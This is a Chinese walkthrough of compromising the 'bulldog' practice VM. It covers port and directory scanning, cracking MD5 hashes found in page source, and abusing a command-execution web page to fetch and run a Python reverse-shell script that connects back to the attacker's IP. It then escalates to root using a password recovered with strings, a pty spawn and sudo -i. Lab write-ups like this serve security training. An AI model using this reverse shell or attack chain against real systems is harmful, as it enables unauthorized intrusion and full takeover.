靶机测试-bulldog

信息收集

主机发现

kali IP地址查询,确认靶机存在网段
在这里插入图片描述

使用nmap进行主机发现:

namp -sP 192.168.31.0/24

在这里插入图片描述

端口及其服务扫描

nmap -sV -O 192.168.31.181

在这里插入图片描述
发现开放了23,80,8080端口及其服务

访问其80及8080端口(因为此端口开放了http服务):
在这里插入图片描述
使用firefox插件也查询出网站的cms,但是并没有其他的有用信息。

目录扫描

尝试进行目录扫描,看看是否能等到一些后台页面。

使用kali工具–dirb:
在这里插入图片描述

使用御剑扫描:
在这里插入图片描述

测试

对应端口服务测试

开放了ssh服务,尝试弱口令爆破连接ssh。

使用msf框架:

1.搜索ssh对应模块:
在这里插入图片描述
2.根据描述,使用第一个模块,并查看对应的配置选项:
在这里插入图片描述
3.设置选项:
在这里插入图片描述
注意:靶机ssh开放的端口为23,而msf默认设置端口为22.

4.运行run,并没有成功(因为漏洞点不在这里)
在这里插入图片描述

后台目录寻找漏洞

测试了一些路径,发现都会重定向到admin登录页面,而且虽然url中有next参数,但是好像没什么用,web框架为Django:
在这里插入图片描述

访问/dev/:
在这里插入图片描述
进入了另一个页面,发现web-shell可以点击:
在这里插入图片描述
进去后,有条信息,意思是:请向服务器验证以使用Web Shell。

可以从这里入手

返回/dev/页面,存在这一些相对敏感的信息:
在这里插入图片描述
可以利用这些信息生成字典,进行暴力破解,尝试登录admin页面。

但是,查看网页源码,发现了一些加密的信息:
在这里插入图片描述
尝试md5进行解密,只有最后两个可以解密:
在这里插入图片描述

在这里插入图片描述

对应信息:

nick@bulldogindustries.com  --> bulldog
sarah@bulldogindustries.com --> bulldoglover

使用这两组对应信息尝试登录,最后使用:

nick  --> bulldog
sarah --> bulldoglover

成功登录:
在这里插入图片描述
这里显示不能编辑任何东西。

此时打开之前的web-shell页面,成功进入:
在这里插入图片描述
是一个命令执行的页面。

看看存不存在命令执行漏洞:
在这里插入图片描述
发现确实存在命令执行漏洞。

反弹shell,因为知道网站的编程语言是python,所以可以通过python进行反弹shell:

#!/usr/bin/python
#coding=utf-8
import os,subprocess,socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("192.168.31.180",1234)) //kali IP地址及监听端口

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/bash","-i"])

使用:

python -m SimpleHTTPServer 80 //开放简易的http服务

在这里插入图片描述
监听shell脚本中设置的端口:

nc -vnlp 1234
在这里插入图片描述

通过命令执行漏洞,下载shell脚本:
在这里插入图片描述

执行脚本,反弹shell:
在这里插入图片描述

提权

1.获得webshell后,查看/etc/passwd内容:
在这里插入图片描述
获得两个相关的信息。

2.进入/home目录下查看存在哪些文件:
在这里插入图片描述
3.进入后面两个目录,查看目录下的内容:

bulldogadmin:
在这里插入图片描述
有一个比较敏感的隐藏目录,进入,查看目录下内容:
在这里插入图片描述
有两个文件,第二个比较明显,打开看看:
在这里插入图片描述
得到了一封信,找度娘翻译一下:

我在处理后端权限的事情。听着,这是一个超级原型,但我觉得会很好。按字面意思运行应用程序,给你的帐户密码,它将决定你是否应该访问该文件或不!
太棒了!一旦我完成了它,黑客甚至无法逆转它!请记住,它现在仍然是一个原型。我要让它与Django用户帐户一起工作。我不知道我将如何为其他人实施它。也许只有Web服务器有时需要根访问权限?
让我知道你的想法!

这里提到了一个app,也许是上面那个文件,打开看看:
在这里插入图片描述
得到了一些乱码。

使用:

strings customPermissionApp // 查看文件的字符

在这里插入图片描述

SUPERultH
imatePASH
SWORDyouH
CANTget

去掉H:

SUPERultimatePASSWORDyouCANTget // 超级终极密码

猜测为root用户的密码,尝试登录:

在这里插入图片描述
尝试切换用户,提示必须打开一个终端。

使用python打开终端:

 python -c 'import pty; pty.spawn("/bin/bash")';

在这里插入图片描述

然后切换成root用户:

su root

输入之前获得的密码进行尝试:
在这里插入图片描述
返回身份验证失败。

使用:

sudo -i

在这里插入图片描述

获得root权限。

总结

通过扫描到端口及服务信息,进行利用。

信息收集时,尽可能多的收集,方便后面的测试及利用。

对扫描到的目录进行逐一探索,对一些信息要敏感,比如源码中的一些加密信息。

通过已知的网站搭建的环境,语言,针对反弹shell(靶机使用的是python,所以使用python脚本反弹shell)。

遇到的问题

获得shell后,对敏感目录的利用不是很充分,开始的时候在 / 目录下查找一些可能利用到的文件,然后没成功,才想到/etc/passwd。

提权的时候,su命令不知道为什么不行,要使用sudo -i ,后面查一查资料,再进行积累。

猜你喜欢

转载自blog.csdn.net/qq_45742511/article/details/114165403
今日推荐